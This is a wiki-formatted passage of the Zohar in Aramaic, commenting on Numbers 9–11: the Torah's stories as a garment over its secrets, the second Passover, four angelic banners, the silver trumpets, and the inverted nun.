{{ממ זהר משולב|ג|קנב|א}}{{ש}}
&lt;קטע התחלה=דף קנב א/&gt;בגין כך '''{{צ|במדבר סיני בשנה השנית}}''' - לאתקנא להו לדרי דרין. ואע&quot;ג דהא אזהר להו במצרים - השתא פקיד לון זמנא אחרא בההוא אתר דכל פקודין דאורייתא ביה אתיהיבו. ועל דא {{צ|בשנה השנית}}. 

מאי '''{{צ|בשנה השנית בחדש הראשון}}'''? אלא רזא עלאה היא! חד שנה וחד חדש. מה בין האי להאי? חדש - דא סיהרא. שנה - דא שמשא דנהיר לסיהרא. וכדין הוה בזמנא דכל פקודין דאורייתא אתמסרו ביה.

 
רבי שמעון אמר: ווי לההוא בר נש דאמר דהא אורייתא אתא לאחזאה ספורין בעלמא ומלין דהדיוטי! דאי הכי אפילו בזמנא דא אנן יכלין למעבד אורייתא במלין דהדיוטי ובשבחא יתיר מכלהו! אי לאחזאה מלה דעלמא - אפילו אינון קפסירי דעלמא אית בינייהו מלין עלאין יתיר - אי הכי נזיל אבתרייהו ונעביד מנייהו אורייתא כהאי גוונא! אלא כל מלין דאורייתא מלין עלאין אינון ורזין עלאין! 

תא חזי עלמא עלאה ועלמא תתאה בחד מתקלא אתקלו. ישראל לתתא, מלאכי עלאי לעילא. מלאכי עלאי כתיב בהו {{צ|עושה מלאכיו רוחות}} {{ממ|תהלים|קד|ד}} - בשעתא דנחתין לתתא  מתלבשי בלבושא דהאי עלמא! ואי לאו מתלבשי בלבושא כגוונא דהאי עלמא - לא יכלין למיקם בהאי עלמא ולא סביל לון עלמא. ואי במלאכי כך - אורייתא דברא להו וברא עלמין כלהו וקיימין בגינה - על אחת כמה וכמה! כיון דנחתת להאי עלמא - אי לאו דמתלבשא בהני לבושין דהאי עלמא - לא יכיל עלמא למסבל! 

ועל דא האי ספור דאורייתא - לבושא דאורייתא איהו! מאן דחשיב דההוא לבושא איהו אורייתא ממש ולא מלה אחרא - תיפח רוחיה ולא יהא ליה חולקא בעלמא דאתי! בגין כך אמר דוד {{צ|גל עיני ואביטה נפלאות מתורתך}} {{ממ|תהלים|קיט|יח}} - מה דתחות לבושה דאורייתא. 

תא חזי אית לבושא דאתחזי לכלא, ואינון טפשין כד חמאן לבר נש בלבושא דאתחזי לון שפירא - לא מסתכלין יתיר. חשיבו דההוא לבושא - גופא! חשיבותא דגופא - נשמתא! {{ש}}
כהאי גוונא אורייתא - אית לה גופא ואינון פקודי אורייתא דאקרון 'גופי תורה'. האי גופא מתלבשא בלבושין דאינון ספורין דהאי עלמא. טפשין דעלמא לא מסתכלי אלא בההוא לבושא דאיהו ספור דאורייתא ולא ידעי יתיר, ולא מסתכלי במה דאיהו תחות ההוא לבושא. אינון דידעין יתיר - לא מסתכלן בלבושא אלא בגופא דאיהו תחות ההוא לבושא. חכימין עבדי דמלכא עלאה, אינון דקיימו בטורא דסיני - לא מסתכלי אלא בנשמתא דאיהי עקרא דכלא, אורייתא ממש.  ולזמנא דאתי זמינין לאסתכלא בנשמתא דנשמתא דאורייתא! 

תא חזי הכי נמי לעילא! אית לבושא, וגופא, ונשמתא, ונשמתא לנשמתא! 
* שמיא וחיליהון - אלין אינון לבושא. 
* וכנסת ישראל - דא גופא דמקבלא לנשמתא דאיהי תפארת ישראל, ועל דא איהו גופא לנשמתא. 
* נשמתא דאמרן - דא תפארת ישראל דאיהי אורייתא ממש. 
* ונשמתא לנשמתא - דא איהו עתיקא קדישא. {{ש}}
וכלא אחיד דא בדא! 

ווי לאינון חייביא דאמרי דאורייתא לאו איהי אלא ספורא בעלמא, ואינון מסתכלי בלבושא דא ולא יתיר! {{ש}}
זכאין אינון צדיקייא דמסתכלי באורייתא כדקא יאות! חמרא לא יתיב אלא בקנקן - כך אורייתא לא יתיב אלא בלבושא דא. ועל דא לא בעי לאסתכלא אלא במה דאית תחות לבושא. ועל דא כל אינון מלין וכל אינון ספורין - לבושין אינון!


'''{{צ|וְיַעשו את בני ישראל את הפָּסח במועדו}} {{ממ|במדבר|ט|ב}}'''. מאי {{צ|ויעשו}}? אמר רבי יוסי הא אתמר כל מאן דאחזי עובדא לתתא כדקא יאות - כאילו עביד ליה לעילא! דהא בגיניה אתער ההוא מלה כביכול כאילו הוא עביד ליה. והא אתמר. &lt;קטע סוף=דף קנב א/&gt;
 

{{ממ זהר משולב|ג|קנב|ב}}{{ש}}
&lt;קטע התחלה=דף קנב ב/&gt;'''{{צ|איש איש כי יהיה טמא וגו'}} {{ממ|במדבר|ט|י}}''' - {{צ|איש איש}} תרי זמני אמאי? אלא איש דהוא איש ויתחזי לקבלא נשמתא עלאה, והוא פגים גרמיה דלא שרייא עלוי  נשמתא עלאה. מאי טעמא? בגין דאיהו גרים והוא מסאב ליה לגרמיה. ועל דא {{צ|איש איש}} - איש דיתחזי למהוי 'איש', והוא מסאב גרמיה דלא ישרי עלוי קדושה דלעילא.

{{צ|או בדרך רְחֹקָהׄ}} - דא איהו חד מעשרה דאינון נקודים באורייתא. וכולהו אתיין לאחזאה מלה! {{ש}}
מאי {{צ|בדרך רחוקה}}? בגין דבר נש דאיהו מסאיב גרמיה - מסאבין ליה לעילא. כיון דמסאבין ליה לעילא - הא איהו {{צ|בדרך רחוקה}} מההוא אתר וארחא דזרעא דישראל אחידן ביה. הא בדרך רחוקה אחיד! דאתרחק  מלמקרב לכון ולאתקשרא בכון כמה דאתון מתקשרין. 

אמר רבי יצחק: והא כתיב {{צ|כי יהיה טמא לנפש '''או''' בדרך רחוקה}} - דאתחזי תרין מלין, משמע דכתיב {{צ|או}}!? {{ש}}
אמר ר' יוסי: כאן עד לא מסאבין ליה, כאן בתר דמסאבין ליה. ומשמע אפילו האי או האי - לא ישרי עלוי קדושה דלעילא ולא יעבדון פסחא בזמנא דישראל עבדין ליה. 

ואי תימא הא בירחא תניינא עביד אי לא מתקן גרמיה! -- לא! אלא כיון דמתדכי ומתקן גרמיה - הא ירחא תניינא למעבד פסחא. מכאן כל בר נש דמדכי גרמיה - מדכאן ליה. 

דאי תימא דבדרגא עלאה יתיר קאים בירחא תניינא -- לאו הכי! דהא ישראל זרעא קדישא דעבדו פסחא בזמניה נטלו ליה לסיהרא ולשמשא כחד, ומאן דנטיל יסודא בקדמיתא נטיל בניינא. מאי יסודא? לא תימא יסודא עלאה דצדיקא דעלמא. אלא יסודא דאבן טבא! כמה דאת אמר {{צ|אבן מאסו הבונים היתה לראש פנה}} {{ממ|תהלים|קיח|כב}}. והאי הוא אבן דשארי עליה מאן דשארי. 

אמר רבי יהודה: ודאי כלא נטיל אפילו בירחא תניינא, אבל לאו איהו כמאן דנטיל ליה בזמניה. {{ש}}
מאי טעמא? {{ש}}
דא דנטיל פסחא בזמניה נטיל מתתא לעילא ולא נחית, בגין דמעלין בקדש ולא מורידין.&lt;קטע סוף=דף קנב ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנג|א}}{{ש}}
&lt;קטע התחלה=דף קנג א/&gt;ודא דנטיל בתר זמניה נחית מעילא לתתא. בגין כך שוין בכלא, ולא שוין. דדא סליק ולא נחית, ודא נחית ולא סליק. בגין כך מאן דמקרב פסחא בזמניה - שבחא יתיר אית ליה. 

זכאין אינון ישראל דזכאן בכלא, דזכאן באורייתא! וכל מאן דזכי באורייתא - זכי ליה בשמא קדישא! זכאין אינון ישראל בעלמא דין ובעלמא דאתי! &lt;קטע סוף=דף קנג א/&gt;
 

{{ממ זהר משולב|ג|קנג|ב}}{{ש}}
&lt;קטע התחלה=דף קנג ב/&gt;'''{{צ|וביום הקים את המשכן}} {{ממ|במדבר|ט|טו}}'''. {{ש}}
ר' חייא פתח {{צ|פִּזַּר נתן לאביונים צדקתו עומדת לעד קרנו תרום בכבוד}} {{ממ|תהלים|קיב|ט}}. {{ש}}
{{צ|פזר נתן לאביונים}} - מאי {{צ|פִּזַּר}}? כמה דאת אמר {{צ|יש מפזר ונוסף עוד}}{{ש}} {{ממ|משלי|יא|כד}}. יכול פזור בעלמא? {{ש}}
קמ&quot;ל {{צ|פזר נתן לאביונים}} - כיון דיהיב למסכני האי פזורא יאות. 

מאי {{צ|ונוסף עוד}}? {{ש}}
בכלא! {{צ|ונוסף עוד}} - בעותרא! {{צ|ונוסף עוד}} - בחיי! 

האי קרא הכי מבעי ליה: &quot;יש מפזר '''ויוסף עוד'''&quot;! מאי {{צ|ונוסף}}? {{ש}}
אלא ההוא אתר דשרי ביה מיתה - הוא גרים ליה דיתוסף מחיים דלעילא לאוספא ליה. 

אמר רבי יהודה אמר רבי חייא: קרא אסהיד דכל מאן דיהיב למסכני - אתער אילנא דחיי לאוספא לההיא אילנא דמותא, וכדין אשתכח חיים וחדו לעילא. ובר נש דגרים דא בשעתא דאצטריך ליה - ההוא אילנא דחיי קאים עליה וההוא אילנא דמותא אגין עלוי. ובגין כך {{צ|ונוסף עוד}}. &lt;קטע סוף=דף קנג ב/&gt;

{{ממ זהר משולב|ג|קנד|א}} {{ש}}
&lt;קטע התחלה=דף קנד א/&gt;{{צ|צדקתו עומדת לעד}} - מאי {{צ|עומדת לעד}}? עומדת עליה דבר נש לזמנא ליה קיומא וחיים. כמה דאיהו יהיב ליה חיים ואתער לגבי חיין - הכי נמי יהבין ליה. ואינון תרי אילנין  קיימין עליה לשיזבא ליה ולאוספא ליה חיין. 

{{צ|קרנו תרום בכבוד}} {{ממ|תהלים|קיב|י}} - תא חזי עלמא דאמרן ההוא קרן - {{צ|תרום}}. ובמה? {{צ|בכבוד}} דלעילא. {{ש}}
דהאי בר נש גרים לחברא לון כחדא ולארקא ברכאן לעילא ותתא. 

רבי אבא אמר בכל זמנא דמשכנא אתקם בעובדיהון דבני נשא - כדין ההוא יומא יומא דחדווה דכלא, ומשח רבות קדישא אתרק בהנהו בוצינין, ונהרין כלהו. מאן דגרים דא - גרים ליה  דישתזיב בהאי עלמא ויהא ליה חיים בעלמא דאתי. הדא הוא דכתיב {{צ|וצדקה תציל ממות}} {{ממ|משלי|י|ב}}, וכתיב {{צ|וארח צדיקים כאור נגה הולך ואור עד נכון היום}} {{ממ|משלי|ד|יח}}.


'''{{צ|עשה לך שתי חצוצרות כסף וגו'}} {{ממ|במדבר|י|ב}}'''. {{ש}}
רבי שמעון פתח {{צ|ובלכת החיות ילכו האופנים אצלם ובהנשא החיות מעל הארץ ינשאו האופנים}} {{ממ|יחזקאל|א|יט}}. {{צ|ובלכת החיות}} - בקוזפירא דלעילא הוו אזלי. דאי תימא דהאי לעילא לעילא -- לאו! לתתא! אלא כגוונא 'האי מקמי אנפין והאי לבתר אנפין'. 

זיקא מארבע זיקין בארבע מדורין ובארבע סטרין, בזיוון דאתברון, בקולמיטין דאנפין נהירין. בגין כך כעין  {{צ|כמראה החיות}} - דאינון ארבע זויין דגלין פרישן. 

'''אריה נשר שור'''. '''אדם''' - דכליל כלהו ד' מלאכין, דשלטין וכלילן כלא.


'''דגלא קדמאה''' - משריא מזיינא '''אריה'''. '''מיכאל'''. רשים בפרישו דגלא פרישא לימינא.{{ש}}
מזרח - שירותא דשמשא אזיל במטלנוי בנהירו. 

תרין ממנן תחות ידיה - '''יופיאל צדקיאל'''. {{ש}}
חד לאורתא{{הערה|(נ&quot;א לאורייתא)}} וחד למיהך בשוקא דאזיל. {{ש}}
כד אלין נטלין - נטלין כמה משריין מזיינין מסטרא דימינא. וכלא חד לסטרא שמאלא! שמשא אזיל  ונהיר ומעטר להו. אלף ורבוון ממנן תחותוי וכלהו בדחילו באימתא בזיע ברתת. 

אריה אושיט ידיה ימינא - כניש לכל חילוי לגביה. תלת מאה ושבעין אלף אריוותא סוחרניה דההוא ארי&quot;ה, ואיהו בינייהו באמצעיתא. 

כד געי האי אריה - מזדעזען רקיעין וכל חילין ומשריין מזדעזעין מדחילו דיליה! מההוא קלא נהר די נור מתלהטא ונחית באלף וחמש מאה דרגין דגיהנם לתתא. כדין כלהו חייבין דגיהנם מזדעזען ומלהטן אשא. ועל דא כתיב {{צ|אריה שאג מי לא יירא}} {{ממ|עמוס|ג|ח}}. 

געי תניינות - תלת מאה ושבעין אלף אריוותא כלהו געאן. {{ש}}
אושיט ידיה שמאלא - כל מאריהון דדינא לתתא דחלין ואתכפיין תחות ההוא ידא. וההוא ידא פשיט עלייהו וכלהו תחותיה, כמה דאת אמר {{צ|ידך בעורף אויביך}} {{ממ|בראשית|מט|ח}}. 

ארבע גדפין לכל חד וחד. מאשא חוורא כלהו מלהטין. כל אפין דחזור ושושן בחוורתא דההוא אשא שקיען. 

ארבע אנפין לכל חד וחד לארבע סטרין - כלהו נהירין בחוורא דשמשא. 
* חד לסטר מזרח - נהיר בחדו, 
* וחד לסטר מערב -  דא כניש נהוריה, 
* וחד לסטר צפון - חשוך בלא נהירו, כצלא דשמשא לגבי שמשא; צלא חשוך, שמשא נהיר. בגין דשמשא וצלא - ימינא ושמאלא, ואזלא כחדא. 


חושבן דאזלין עמיה - כל אינון דנטלין זיינא. וכלהו מימינא ומשמאלא בתלת רישין. 
* רישא חדא דיליה - {{קיצור|שבעין וארבע אלף ושית מאה|74,600}} {{ממ|במדבר|א|כז}} - אלין אינון רישא חד נפקי חילא בימינא דאיהו ארים עלייהו. בר כל אינון ממנן דלתתא תחות אלין. שלטונין אלין על אלין, דרגין תתאין עם עלאין, דלית לון חושבנא. 

* רישא תניינא - דאזיל ברישא קדמאה. חושבן דיליה {{קיצור|חמשין וארבע אלף וארבע מאה|54,400}} {{ממ|במדבר|א|כט}}, בר כל אלין ממנן דתחותיה לארבע סטרין דלית לון חושבנא.&lt;קטע סוף=דף קנד א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנד|ב}}{{ש}}
*&lt;קטע התחלה=דף קנד ב/&gt;רישא תליתאה דאזיל בתרייהו - {{קיצור|חמשין ושבעה אלף וארבע מאה|57,400}} {{ממ|במדבר|א|לא}}. 

כגוונא דנטיל ימינא - הכי נמי נטיל שמאלא! הכי נמי מקמייהו, הכי נמי מבתרייהו! 

כיון דנטיל האי קדמאה - {{צ|והורד המשכן}} {{ממ|במדבר|י|יז}} - וכלהו ליואי אמרי שירתא. מארי דתושבחן כלהו מסטריה. כדין {{צ|כי רוח החיה באופנים}} {{ממ|יחזקאל|א|כ}} כתיב. 


'''דגלא תניינא''' - משרייא מזיינא '''נשר אוריאל דרום'''. {{ש}}
תרי ממנן עמיה - '''שמשיאל חסדיאל'''. 

האי נשר סליק וכל מאריהון דגדפין מקמיה. כמה משריין סלקין בכל סטרין; כל חד וחד בתוקפא דשמשא. רוחא דרוחא פנימאה נפיק, וההוא רוחא מטי להאי נשר וסליק אברוי ומכסייא לגופא, כמה דאת אמר {{צ|המבינתך יאבד נץ יפרוש כנפיו לתימן}} {{ממ|איוב|לט|כו}}. כגוונא, כדוגמא, כעין. {{צ|כנשר יעיר קנו}} {{ממ|דברים|לב|יא}}.{{ש}}  
האי נשר - נץ בהדיה. יונה בהדיה נץ. וכל מארי דגדפין כלהו מצפצפן וחדאן. 

חד מסטרא  קמיה סליק מתתא לעילא. כמה ציפרין נחתין ועאלין, מצפצפן וחדאן, אזלין ושאטין. 

כד נטיל - אושיט גדפא ימינא, כניש לכל חילוי - תלת מאה וחמשין אלף מארי דגדפין בתרי גופי - '''נשר ואריה''' כחדא. {{ש}}
ארים קלא - כלהו אחרנין סלקין ונחתין מצפצפן מסטרייהו מכמה דרגין. 


תלת רישין אינון כחדא במשריין אלין, וכלהו בחד חושבן, וחושבן דאלין רישין. 
* רישא חדא - {{קיצור|ארבעין ושית אלף וחמש מאה|46,500}} {{ממ|במדבר|א|כא}}. 
* רישא תנינא - {{קיצור|חמשין ותשע אלף ותלת מאה|59,300}} {{ממ|במדבר|א|כג}}. 
* רישא תליתאה - {{קיצור|ארבעין וחמש אלפין ושית מאה וחמשין|45,650}} {{ממ|במדבר|א|כה}}. {{ש}}
מאלין תרי סטרין נפקי תרין כרוזי דאזלי מקמי כלהו משריין. כד אלין תרי מכריזי - כל חילין וכל משריין חיוון זעירין עם רברבן כלהו מתכנשי. מאן חמי נטילא דכלהו רקיעין! כולהו נטלין במטולא במשריין לקמיה דההוא משכנא! 

בשעתא דחד מנייהו, ההוא דאתי מסטרא דאריה, פשיט קלא בגין דלא יזדעזעון כל אינון קלין - כדין מתכנשין כל אינון משריין. בשעתא דאחרא קרי - מתבר קלא ולא פשיט. כל אינון משריין דהאי נשר כלהו מתכנשו לנטלא במטלנייהו. {{ש}}
לקביל אינון - '''{{צ|שתי חצוצרות כסף}}'''. {{ש}}
כגוונא דא כלא לתתא.

תא חזי כד אלין נטלין מה כתיב? {{צ|ובלכת החיות ילכו האופנים אצלם}} {{ממ|יחזקאל|א|יט}} - אינון דמתכנשו לגביהו כגוונא דרישא אסתכל - הכי נמי כלהו. 


'''דגלא תליתאה''' - '''שור, גבריאל, צפון'''. {{ש}}
תרין ממנן עמיה - '''קפציאל חזקיאל'''. 

האי שור מסטרא דשמאלא. קרנוי סלקין בין תרין עינוי. רגיז באסתכלותא. עיינין מלהטן כאשא דנור דליק. נגח ורפסא ברגלוי ולא חייס. 

כד געי האי שור - נפקין מנוקבא דתהומא רבא כמה חבילי  טריקין. כלהו געאן ושטאן קמיה. וחימתא ואחמתא דכל חובין תלייא קמיה - דהא כל חובי עלמא כלהו בספרא סליקין וכתיבין. 

שבעה נהרי דאשא נגדין קמיה. כד צחי - אזיל לגבי ההוא נהר דינור ושאיב ליה בגמיעא חדא, וההוא נהר אתמלי כדבקדמיתא ולא כדיב. 

כל אינון חיילין שאבין 'אשא אכלא אשא'. ואלמלא דמסטרא דאריה נפיק חד נהרא דמייא דמכבין גחלתייהו - לא יכל עלמא למסבל! 

חשוכא דשמשא תמן אשתכח. לא אשתכח נהירו. כמה גרדיני נמוסין אזלין ושטאן בחשוכא, וההוא נהר דדליק בסטרא דא - נורא אוכמא חשוך. 

ואי תימא דלא אית אשא חוורא, אשא אוכמא, אשא סומקא, אשא דתרי גווני -- לא תימא! דהא ודאי הכי הוא! ועם כל דא לעילא לעילא הכי אשתכח, ומתמן נגיד לאלין תתאי. 


תנינן: אורייתא במה אשתכחת? אשא חוורא, ואשא אוכמא על גבי אשא חוורא. בתרי אשי אשתכחת אורייתא! {{ש}}
תא חזי אשא חדא הוא והאי אתפלג לארבעה. &lt;קטע סוף=דף קנד ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנה|א}}{{ש}}
&lt;קטע התחלה=דף קנה א/&gt;מיא - חדא איהו - והאי אתפליג לארבע! {{ש}}
רוחא - חדא איהו - והאי אתפליג לארבע! 

תלת רישין אשתכחו  במשריין אלין. חושבן דלהון: 
* רישא חדא - {{קיצור|שתין ותרי אלף ושבע מאה|62,700}}.  
* רישא תניינא - {{קיצור|ארבעין וחד אלף וחמש מאה|41,500}}.  
* רישא תליתאה - {{קיצור|תלת וחמשין אלף וארבע מאה|53,400}}. {{ש}}
בר כל אינון דרגין אחרנין דאתפרשן בסטרייהו ולית לון חושבנא. 

כלהו דרגין על דרגין - בר כמה גרדיני נמוסין דאינון לתתא חציפין ככלבא נשכין כחמרא. {{ש}}
ווי מאן דאשתכח גבייהו! {{ש}}
ודינא דלהון בסטרא רביעאה. 


'''דגלא רביעאה''' - '''אדם, רפאל, מערב'''. {{ש}}
בהדיה אסוותא. {{ש}}
בסטרא דאדם אתכליל דינא עלאה - עליה אתסי. {{ש}}
האי  אחיד בקרנוי דשור כד מבעי לאעלא לון לתהומא רבא, וכפית לון דלא יוקיד עלמא. 

בתר דא שריא {{צ|קול דממה דקה}} {{ממ|מ&quot;א|יט|יב}}.  הכא מלה בחשאי - לא משתמע מלה דהברה כלל. 

בסטרא דא שריא מאן דשריא, סליק מאן דסליק, שמשא אתכניש לאנהרא להאי אתר. 

בגין כך {{צ|ותקעתם תרועה}} בסטר דרום {{ממ|במדבר|י|ו}}. אבל הכא - לאו האי ולאו האי. אמאי תרועה? לאכפייא סטר צפון. ובגין כך סטר צפון לאחורא. 

תא חזי שתי חצוצרות - בגין דאינון מסטרי תרי דקאמרי ממזרח ומדרום - אינהו זמינין לתברא דינין ולאכפייא לון. ועל דא אינון מכסף. ובגין כך '''{{ממ|במדבר|י|י}} {{צ|וביום שמחתכם ובמועדיכם וגו' ותקעתם בחצוצרות}}''' סתם - בין לעילא בין לתתא. 

זכאין אינון ישראל! דקב&quot;ה בעי ביקריהון, ויהיב לון חולקא עלאה על כל שאר עמין, וקב&quot;ה אשתבח בהו בתושבחתייהו. הדא הוא דכתיב {{צ|ויאמר לי עבדי אתה ישראל וגו'}} {{ממ|ישעיהו|מט|ג}}.


'''{{צ|ויהי בנסוע הארון ויאמר משה וגו'}} {{ממ|במדבר|י|לה}}'''. {{ש}}
רבי אלעזר אמר הכא אית לאסתכלא - '''נ'''' דאיהו  מנוזר לאחורא אמאי? אמאי בתרי דוכתא הכא? {{ש}}
ואי תימא '''נ' כפופה''' -- הא ידיעה! '''נ' כפופה''' - נוקבא, '''ן' פשוטה''' - כללא דדכר ונוקבא. והא אוקימנא באתר דא {{צ|ויהי בנסוע הארון}}.  {{ש}}
אמאי אתהדר לבתר כגוונא דא [ציור של נ']? 

תא חזי '''נ'''' ב{{צ|אשרי יושבי ביתך}} לא אתמר בגין דהיא בגלותא. והא אוקמוה חברייא דכתיב {{צ|נפלה לא תוסיף קום בתולת ישראל וגו'}} {{ממ|עמוס|ה|ב}}. אלא מה כתיב לעילא? {{צ|וארון ברית יהוה נוסע לפניהם דרך שלשת ימים לתור להם מנוחה}} {{ממ|במדבר|י|לג}} - כיון דהוה נטיל ארונא - '''נ'''' נטיל  עמיה. והא שכינתא על גבי ארונא יתיב. 

תא חזי חביבותא דקב&quot;ה לגבייהו דישראל! דהא אע&quot;ג דאינון סטאן מארח מישר - קב&quot;ה לא בעי לשבקא לון, ובכל זמנא אהדר אנפוי לקבלייהו. דאי לאו הכי לא יקומון בעלמא. 

תא חזי ארונא הוה נטל קמייהו ארח תלתא יומין - '''נ'''' לא הוה מתפרש מניה! ונטיל עמיה! ומגו רחימו דלהון דישראל - אהדר אנפוי ואסתחר מלגבי ארונא כהאי איילא דעזלתא כד איהו אזיל - אהדר אפוי לאתר דנפיק. ועל דא {{צ|בנסוע הארון}} - '''נ'''' אסחר אנפין לקבלייהו דישראל, וכתפי גופא לגבי ארונא. 

ועל דא כד ארונא הוה נטיל משה אמר {{צ|קומה יהוה}} - לא תשבוק לן! אהדר אנפך לגבן! כדין '''נ'''' אתהדר לגבייהו כגוונא דא [ציור], כמאן דמהדר אנפיה למאן דרחים. {{ש}}
וכד הוה שארי ארונא למשרי - כדין אהדר '''נ'''' [ציור] אנפוי מישראל ואתהדר לגבי ארונא. ובכלא אתהדר. 


אמר ר' שמעון: אלעזר בודאי הכי הוא! אבל הכא לא אהדר אנפוי מישראל! דאי הכי בעי '''נ'''' לאתהפכא מגוונא אחרא לעילא. האי '''נ'''' מנוזר לאחורא והאי בארח מישר לגבי ארונא. 

אלא ודאי לא אהדר אנפוי מנייהו! ומה עביד? בשעתא דשארי ארונא למשרי אמר משה {{צ|שובה יהוה}} {{ממ|במדבר|י|לו}} - כדין שארי ארונא ושכינתא קאים בסטרא אחרא ואנפין לקבלייהו דישראל ולקבליה דארונא, ובגין כך כדין כליל לכוונא לארונא ולישראל. &lt;קטע סוף=דף קנה א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנה|ב}}{{ש}}
&lt;קטע התחלה=דף קנה ב/&gt;אלא דישראל גרמו לבתר דכתיב {{צ|ויהי העם כמתאוננים}} {{ממ|במדבר|יא|א}}. 


אמר רבי אלעזר: &quot;''אנא דאמרן מספרא דרב ייבא סבא דאמר דבין בהאי גיסא ובין בהאי גיסא אתהדר!''&quot; {{ש}}
אמר ליה: &quot;''שפיר קאמר! אבל דא דאמינא הכי תשכח בספרא דרב המנונא סבא והכי הוא ודאי!''&quot;


'''{{צ|והמן כזרע גד הוא}} {{ממ|במדבר|יא|ז}}'''. {{ש}}
אמר רבי יוסי לקיימא זרעא וחילין בארעא, כמה דאת אמר {{צ|גד גדוד יגודנו}} {{ממ|בראשית|מט|יט}}. מה זרעא דגד - נטלי חולקיהון בארעא אחרא, כך מָן שריא עלייהו דישראל לבר מארעא קדישא! {{ש}}
דבר אחר: {{צ|כזרע גד הוא}} - כזרעא דגד חוורא, ואקפי כד נחית לאוירא ואתבלע בגופא. והא אוקמוה חברייא. {{ש}}
'''{{צ|ועינו כעין הבדולח}}''' - כההוא בדולחא דאיהו חוור כגוונא דימינא  דלעילא. 


אמר רבי יצחק: מאי שנא  דמשה במלה דא חליש לעילא כנוקבא דכתיב '''{{צ|אם ככה את עושה לי}} {{ממ|במדבר|יא|טו}}'''? {{צ|את}}!? &quot;אתה&quot; מבעי ליה?! {{ש}}
אלא לאתר דמותא שארי ביה קאמר! וההוא אתר דנוקבא איהו. בגין כך אמר '''{{צ|הרגני נא הרוג}}'''. ודא אילנא דמותא. והא אוקימנא דבאילנא דחיי לא שרייא ביה מותא. ועל דא אתהדר לגבי אילנא דמותא ואמר {{צ|את}} ולא אמר 'אתה'. והכי מבעי ליה! 


מיד '''{{צ|ויאמר יהוה אל משה אספה לי שבעים איש וגו'}} {{ממ|במדבר|יא|טז}}'''. {{ש}}
אמר ליה קב&quot;ה: את בעי מותא בכל זמנא! הרי לך! -- '''{{צ|ואצלתי מן הרוח וגו'}} {{ממ|במדבר|יא|יז}}'''. 

תא חזי דהכא ידע משה דאיהו ימות ולא ייעול לארעא - דהא אלדד ומידד מלה דא הוו אמרי. {{ש}}
על דא לא לבעי ליה לאינש בשעתא דרוגזא שארי ביה ללטייא גרמיה - דהא כמה קיימי עליה דמקבלי ההיא מלה. {{ש}}
בזמנא אוחרנא דבעא מיתה - לא קבילו מניה, בגין דכלא לתועלתא דישראל הוה. השתא - לאו איהו אלא מגו רוגזא ודוחקא, ובגין כך קבילו מניה! ועל דא אשתארו לבתר אלדד ומידד ואמרו דא; דמשה יתכניש ויהושע ייעול לון לישראל לארעא. 

ובגין כך אתא יהושע לגבי משה וקני עליה דמשה. ומשה לא אשגח ביקרא דיליה. ועל דא אמר '''{{צ|אדני משה כלאם}} {{ממ|במדבר|יא|כח}}'''. מאי {{צ|כלאם}}? מנע מנהון אינון מלין כמה דאת אמר {{צ|ויכלא העם מהביא}} {{ממ|שמות|לו|ו}}, {{צ|ויכלא הגשם מן השמים}} {{ממ|בראשית|ח|ב}} - מניעותא ממש. ומשה לא בעא. 

פוק חמי ענוותנותיה דמשה! מה כתיב '''{{צ|המקנא אתה לי וגו'}} {{ממ|במדבר|יא|כט}}'''. {{ש}}
זכאה חולקיה דמשה דאיהו סליק על כלהו נביאי  דעלמא! {{ש}}
אמר רבי יהודה: כל שאר נביאין לגבי משה - כסיהרא לגבי שמשא. 

===קטע זמני===
'''רבי אבא''' הוה יתיב ליליא חד ולעי באורייתא. והוו עמיה '''ר' יוסי ור' חזקיה'''. {{ש}} 
אמר רבי יוסי: כמה אינון בני נשא תקיפי לבא דלא משגחי במלי דההוא עלמא כלום! {{ש}} 
אמר רבי אבא: 'בישא דלבא' דאחידא בכל שייפי גופא קא עביד לון! 

פתח ואמר: {{צ|יש רעה אשר ראיתי תחת השמש ורבה היא על האדם}} {{ממ|קהלת|ו|א}}. {{ש}}
{{צ|יש רעה}} - דא איהי תוקפא בישא דלבא.  דבעי לשלטאה במילי דהאי עלמא, ולא אשגח במילי דההוא עלמא מידי.

אמאי איהי {{צ|רעה}}? {{ש}}
קרא דבתריה אוכח דכתיב {{צ|איש אשר יתן לו האלהים עושר ונכסים [וכבוד ואיננו חסר לנפשו מכל אשר יתאוה ולא ישליטנו האלהים לאכל ממנו כי איש נכרי יאכלנו זה הבל וחלי רע הוא]}} {{ממ|קהלת|ו|ב}}.{{ש}}
האי קרא קשיא! כיון דכתיב {{צ|ואיננו חסר לנפשו מכל אשר יתאוה}} - אמאי {{צ|ולא ישליטנו האלהים לאכול ממנו}}? דהא אינו חסר לנפשו כלום? 

אלא רזא איהו! וכל מלוי דשלמה מלכא מתלבשן אינון במלין אחרנין. כמלי דאורייתא דאינון מתלבשן בספורי עלמא! &lt;קטע סוף=דף קנה ב/&gt;

{{ממ זהר משולב|ג|קנו|א}}

&lt;קטע התחלה=דף קנו א/&gt;תא חזי! אף על גב דבעינן לאסתכלא בלבושא - השתא האי קרא הכי קאמר! דבר נש אזיל בהאי עלמא, ויהיב ליה קב&quot;ה עותרא בגין דיזכי ביה לעלמא דאתי וישתאר לגביה קרן. מאי קרן? ההוא דאיהו קיים דאיהו אתר לאתצררא בית נשמתא. {{ש}}
בגין כך בעי לאשארא  עותריה להאי 'קרן', והאי 'קרן' יקבל ליה בתר דיפוק מהאי עלמא. בגין דהאי קרן הוא אילנא דחיי דההוא עלמא. ולא קיימא בהאי עלמא אלא ההוא איבא דנפיק מניה. ועל דא איבא דיליה אכיל בר נש דזכי בהאי עלמא, {{צ|והקרן}} קיימא ליה לההוא עלמא למזכי ביה בחיין עלאין דלעילא. 

ומאן דסאיב גרמיה ואתמשך בתר גרמיה, וליתיה חסר לנפשיה ולגרמיה כלום, וההוא אילנא אשתאר ולא שויה לקבליה בדחילו ולקבלא ליה לעילא -- כדין {{צ|ולא ישליטנו האלהים לאכל ממנו}} ולמזכי בההוא עותרא! ודאי 'איש אחר יאכלנו', כמה דאת אמר {{צ|יכין וצדיק ילבש}} {{ממ|איוב|כז|יז}}. 

בגין כך בעי בר נש למזכי במה דיהיב ליה קב&quot;ה לההוא עלמא! וכדין אכיל מיניה בהאי עלמא, וישתאר לגביה ההוא קרן לעלמא אחרא, למהוי צרורא בצרורא דחיי. 

אמר רבי יוסי: &quot;''ודאי!''&quot;


